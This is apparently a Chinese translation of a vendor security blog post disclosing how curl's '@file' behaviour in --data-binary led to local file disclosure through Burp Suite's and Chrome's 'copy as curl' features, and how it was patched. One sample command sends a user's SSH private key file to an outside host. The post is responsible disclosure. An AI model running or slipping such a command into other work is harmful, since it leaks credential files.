curl特性引发Burp Suite与Google Chrome本地文件泄露漏洞

在这篇文章中，我们将探讨curl中一个鲜为人知的特性，该特性导致了Burp Suite Pro和Google Chrome中的本地文件泄露漏洞。虽然我们早已为Burp Suite打了补丁，但怀疑这项技术可能对利用其他具有"复制为curl命令"功能或从命令行调用curl的应用程序有所帮助。该漏洞由Paul Mutton通过我们的漏洞赏金计划私下报告，并慷慨同意我们发布这份分析报告。

Burp Suite用户经常制作复杂的HTTP请求来演示网站中的漏洞。为了更轻松地与他人共享这些概念验证漏洞利用，我们提供了"复制为curl命令"功能，该功能生成一个curl命令，以复制Burp Suite中的请求。

例如，给定以下请求：

1
2
3
4
5
6

POST / HTTP/1.1
Host: portswigger.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

如果您点击"复制为curl命令"，Burp Suite将生成以下命令并复制到剪贴板：

1
2
3
4
5
6
7

curl -i -s -k \
     -X $'POST' \
     -H $'Host: portswigger.net' \
     -H $'Content-Type: application/x-www-form-urlencoded' \
     -H $'Content-Length: 7' \
     --data-binary $'foo=bar' \
     $'https://portswigger.net/'

然后，您可以将此命令粘贴到终端中，在Burp Suite之外重新发出请求。我们非常小心地转义这些数据，以避免用户被恶意请求注入额外的shell命令或任意curl参数所利用。不幸的是，存在一个更微妙的问题。您能看出来吗？

一如既往，答案在于友好的手册中：

1
2
3

--data-binary <data>
这将完全按指定方式发布数据，不进行任何额外处理。
如果您以字母@开头数据，其余部分应为文件名。

因此，这是安全的：

1
2
3

curl --data-binary  '/home/albinowax/.ssh/id_rsa' --trace-ascii - https://02.rs/
=> Send data, 28 bytes (0x1c)
0000: /home/albinowax/.ssh/id_rsa

而这…就不那么安全了：

1
2
3
4
5

curl --data-binary '@/home/albinowax/.ssh/id_rsa' --trace-ascii - https://02.rs/
=> Send data, 662 bytes (0x296)
> -----BEGIN RSA PRIVATE KEY-----
.b3BlbnNzaC1rZXktdjEA....
(不是我的真实私钥)

我们在2020.5.1版本中通过切换到更新、更安全但支持较少的–data-raw标志（如果请求体以@符号开头）修补了此漏洞。

我们很幸运，因为在Burp Suite中利用此漏洞需要相对较多的用户交互——攻击者必须诱导用户访问恶意网站，将精心制作的请求复制为curl命令，然后通过命令行执行。如果网站使用curl且请求体由攻击者控制，这可能产生显著更高的影响，因此绝对值得在SSRF测试中留意。@文件读取行为也适用于标头，因此在允许您定义自定义标头的网站上可能有用。

尽管这个特性让我们（和Chrome）感到意外，但它已完全记录在案，因此我们不认为它是curl本身的漏洞。这让我想起了服务器端模板注入，其中沙箱逃逸可能就像阅读一个被其他人忽略的手册页面一样简单。

再次感谢Paul分享这项酷炫的技术。

下次见！